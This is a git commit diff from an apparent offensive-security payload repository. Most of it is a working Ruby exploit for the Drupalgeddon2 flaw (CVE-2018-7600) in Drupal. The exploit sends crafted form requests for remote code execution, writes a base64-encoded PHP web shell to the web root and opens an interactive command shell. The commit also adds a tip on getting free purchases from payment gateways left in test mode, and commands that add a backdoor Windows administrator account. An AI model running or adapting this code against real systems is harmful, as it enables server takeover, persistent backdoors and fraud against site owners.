Drupalgeddon2 update + Payment API in Methodology

This commit is contained in:
Swissky 2018-04-23 18:41:59 +02:00
parent 39b5e0e122
commit f832022920
3 changed files with 276 additions and 161 deletions

View File

@ -1,6 +1,7 @@
#!/usr/bin/env ruby #!/usr/bin/env ruby
# #
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' ~ https://github.com/dreadlocked/Drupalgeddon2/ # [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors: # Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k # - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
@ -14,11 +15,82 @@ require 'openssl'
require 'readline' require 'readline'
# Proxy information (nil to disable) # Settings - Proxy information (nil to disable)
proxy_addr = nil proxy_addr = nil
proxy_port = 8080 proxy_port = 8080
# Settings - General
$useragent = "drupalgeddon2"
webshell = "s.php"
writeshell = true
# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Function http_post <url> [post]
def http_post(url, payload="")
uri = URI(url)
request = Net::HTTP::Post.new(uri.request_uri)
request.initialize_http_header({"User-Agent" => $useragent})
request.body = payload
return $http.request(request)
end
# Function gen_evil_url <cmd>
def gen_evil_url(evil, feedback=true)
# PHP function to use (don't forget about disabled functions...)
phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
#puts "[*] PHP cmd: #{phpmethod}" if feedback
puts "[*] Payload: #{evil}" if feedback
## Check the version to match the payload
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
if $drupalverion.start_with?('8')
# Method #1 - Drupal 8, mail, #post_render - response is 200
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
elsif $drupalverion.start_with?('7')
# Method #3 - Drupal 7, name, #post_render - response is 200
url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
else
puts "[!] Unsupported Drupal version"
exit
end
# Drupal v7 needs an extra value from a form
if $drupalverion.start_with?('7')
response = http_post(url, payload)
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
#url = $target + "file/ajax/name/%23value/" + form_build_id
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
payload = "form_build_id=" + form_build_id
end
return url, payload
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Quick how to use # Quick how to use
if ARGV.empty? if ARGV.empty?
puts "Usage: ruby drupalggedon2.rb <target>" puts "Usage: ruby drupalggedon2.rb <target>"
@ -26,184 +98,211 @@ if ARGV.empty?
exit exit
end end
# Read in values # Read in values
target = ARGV[0] $target = ARGV[0]
# Check input for protocol
if not $target.start_with?('http')
$target = "http://#{$target}"
end
# Check input for the end
if not $target.end_with?('/')
$target += "/"
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Banner # Banner
puts "[*] --==[::#Drupalggedon2::]==--" puts "[*] --==[::#Drupalggedon2::]==--"
puts "-"*80 puts "-"*80
puts "[*] Target : #{$target}"
puts "[*] Write? : Skipping writing web shell" if not writeshell
# Check input for protocol
if not target.start_with?('http')
target = "http://${target}"
end
# Check input for the end
if not target.end_with?('/')
target += "/"
end
# Payload (we could just be happy with this, but we can do better!)
#evil = '<?php if( isset( $_REQUEST["c"] ) ) { eval( $_GET[c]) ); } ?>'
evil = '<?php if( isset( $_REQUEST["c"] ) ) { system( $_REQUEST["c"] . " 2>&1" ); }'
evil = "echo " + Base64.strict_encode64(evil).strip + " | base64 -d | tee s.php"
# Feedback
puts "[*] Target : #{target}"
puts "[*] Payload: #{evil}"
puts "-"*80 puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
# Use SSL/TLS if needed
if uri.scheme == "https"
$http.use_ssl = true
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Try and get version # Try and get version
drupalverion = nil $drupalverion = nil
# Possible URLs # Possible URLs
url = [ url = [
target + "CHANGELOG.txt", $target + "CHANGELOG.txt",
target + "core/CHANGELOG.txt", $target + "core/CHANGELOG.txt",
target + "includes/bootstrap.inc", $target + "includes/bootstrap.inc",
target + "core/includes/bootstrap.inc", $target + "core/includes/bootstrap.inc",
] ]
# Check all # Check all
url.each do|uri| url.each do|uri|
exploit_uri = URI(uri)
# Check response # Check response
http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port) response = http_post(uri)
request = Net::HTTP::Get.new(exploit_uri.request_uri)
response = http.request(request)
if response.code == "200" if response.code == "200"
puts "[+] Found : #{uri} (#{response.code})" puts "[+] Found : #{uri} (#{response.code})"
# Patched already? # Patched already?
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002" puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
drupalverion = response.body.match(/Drupal (.*),/).to_s().slice(/Drupal (.*),/, 1).strip # Try and get version from the file contents
puts "[+] Drupal!: #{drupalverion}" $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
# If not, try and get it from the URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
# Done! # Done!
break break
elsif response.code == "403" elsif response.code == "403"
puts "[+] Found : #{uri} (#{response.code})" puts "[+] Found : #{uri} (#{response.code})"
drupalverion = uri.match(/core/)? '8.x' : '7.x' # Get version from URL
puts "[+] Drupal?: #{drupalverion}" $drupalverion = uri.match(/core/)? "8.x" : "7.x"
else else
puts "[!] MISSING: #{uri} (#{response.code})" puts "[!] MISSING: #{uri} (#{response.code})"
end end
end end
if not drupalverion
puts "[!] Didn't detect Drupal version"
puts "[!] Forcing Drupal v8.x attack"
drupalverion = "8.x"
end
puts "-"*80
# PHP function to use (don't forget about disabled functions...)
phpmethod = drupalverion.start_with?('8')? 'exec' : 'passthru'
puts "[*] PHP cmd: #{phpmethod}"
puts "-"*80
## Check the version to match the payload
if drupalverion.start_with?('8')
# Method #1 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
# Method #2 - Drupal 8, mail, #post_render - response is 200
url = target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
elsif drupalverion.start_with?('7')
# Method #3 - Drupal 7, name, #post_render - response is 200
url = target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
else
puts "[!] Unsupported Drupal version"
exit
end
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
# Use SSL/TLS if needed
if uri.scheme == 'https'
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
# Drupal v7 needs an extra value from a form
if drupalverion.start_with?('7')
req = Net::HTTP::Post.new(uri.request_uri)
req.body = payload
response = http.request(req)
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).strip
url = target + "file/ajax/name/%23value/" + form_build_id
uri = URI(url)
payload = "form_build_id=" + form_build_id
end
# Make the request
req = Net::HTTP::Post.new(uri.request_uri)
req.body = payload
# Check response
response = http.request(req)
if response.code == "200"
puts "[+] Target seems to be exploitable! w00hooOO!"
#puts "[+] Result: " + JSON.pretty_generate(JSON[response.body])
result = drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result: #{result}"
else
puts "[!] Target does NOT seem to be exploitable ~ Response: #{response.code}"
end
puts "-"*80
# Feedback # Feedback
puts "[*] curl '#{target}s.php' -d 'c=whoami'" if $drupalverion
status = $drupalverion.end_with?('x')? "?" : "!"
puts "[+] Drupal#{status}: #{$drupalverion}"
else
puts "[!] Didn't detect Drupal version"
puts "[!] Forcing Drupal v8.x attack"
$drupalverion = "8.x"
end
puts "-"*80 puts "-"*80
# Test to see if backdoor is there
exploit_uri = URI(target + "s.php")
# Check response
http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port)
request = Net::HTTP::Get.new(exploit_uri.request_uri)
response = http.request(request)
if response.code == "200" # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
puts "[*] Fake shell: "
# Stop any CTRL + C action ;)
trap('INT', 'SIG_IGN')
# Forever loop
loop do
# Get input
command = Readline.readline('drupalgeddon2> ', true)
# Exit # Make a request, testing code execution
break if command =~ /exit/ puts "[*] Testing: Code Execution"
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}")
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
# Blank link? puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
next if command.empty?
# Send request
req = Net::HTTP::Post.new(exploit_uri.request_uri)
req.body = "c=#{command}"
puts http.request(req).body
end
else else
puts "[!] Exploit FAILED ~ Response: #{response.code}" puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
exit exit
end end
puts "-"*80
# Location of web shell & used to signal if using PHP shell
webshellpath = nil
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
"./",
"./sites/default/",
"./sites/default/files/",
]
# Check all
paths.each do|path|
puts "[*] Testing: File Write To Web Root (#{path})"
# Merge locations
webshellpath = "#{path}#{webshell}"
# Final command to execute
cmd = "#{bashcmd} | tee #{webshellpath}"
# Generate evil URLs
url, payload = gen_evil_url(cmd)
# Make the request
response = http_post(url, payload)
# Check result
if response.code == "200" and not response.body.empty?
# Feedback
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
# Test to see if backdoor is there (if we managed to write it)
response = http_post("#{$target}#{webshellpath}", "c=hostname")
if response.code == "200" and not response.body.empty?
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
break
else
puts "[!] Target is NOT exploitable. No write access here!"
end
else
puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
end
webshellpath = nil
end if writeshell
puts "-"*80 if writeshell
if webshellpath
# Get hostname for the prompt
prompt = response.body.to_s.strip
# Feedback
puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
elsif writeshell
puts "[!] FAILED: Coudn't find writeable web path"
puts "[*] Dropping back direct commands (expect an ugly shell!)"
end
# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")
# Forever loop
loop do
# Default value
result = "ERROR"
# Get input
command = Readline.readline("#{prompt}>> ", true).to_s
# Exit
break if command =~ /exit/
# Blank link?
next if command.empty?
# If PHP shell
if webshellpath
# Send request
result = http_post("#{$target}#{webshell}", "c=#{command}").body
# Direct commands
else
url, payload = gen_evil_url(command, false)
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
end
end
# Feedback
puts result
end

View File

@ -276,32 +276,42 @@ then launch Burp with : java -jar burpsuite_free_v*.jar &
``` ```
* Checklist for Web vulns * Checklist for Web vulns
``` ```
[] AWS Amazon Bucket S3 [] AWS Amazon Bucket S3
[] Git Svn insecure files [] Git Svn insecure files
[] CVE Shellshock Heartbleed [] CVE Shellshock Heartbleed
[] Open redirect [] Open redirect
[] Traversal directory [] Traversal directory
[] XSS injection [] XSS injection
[] CRLF injection [] CRLF injection
[] CSRF injection [] CSRF injection
[] SQL injection [] SQL injection
[] NoSQL injection [] NoSQL injection
[] PHP include [] PHP include
[] Upload insecure files [] Upload insecure files
[] SSRF injection [] SSRF injection
[] XXE injections [] XXE injections
[] CSV injection [] CSV injection
[] PHP serialization [] PHP serialization
... ...
``` ```
* Subscribe to the site and pay for the additional functionality to test * Subscribe to the site and pay for the additional functionality to test
* Launch a Nikto scan in case you missed something * Launch a Nikto scan in case you missed something
``` ```
nikto -h http://domain.example.com nikto -h http://domain.example.com
``` ```
* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
e.g :
| NUMBER | BRAND |
| :------------- | :------------- |
| 4242424242424242 | Visa |
| 4000056655665556 | Visa (debit) |
| 5555555555554444 | Mastercard |
## Thanks to ## Thanks to
* http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/ * http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/

View File

@ -1,4 +1,10 @@
# Windows - Using credentials # Windows - Using credentials
Little tip, if you don't have credentials yet :D
```
net user hacker hacker /add
net localgroup administrators hacker /add
```
## Metasploit - SMB ## Metasploit - SMB
```c ```c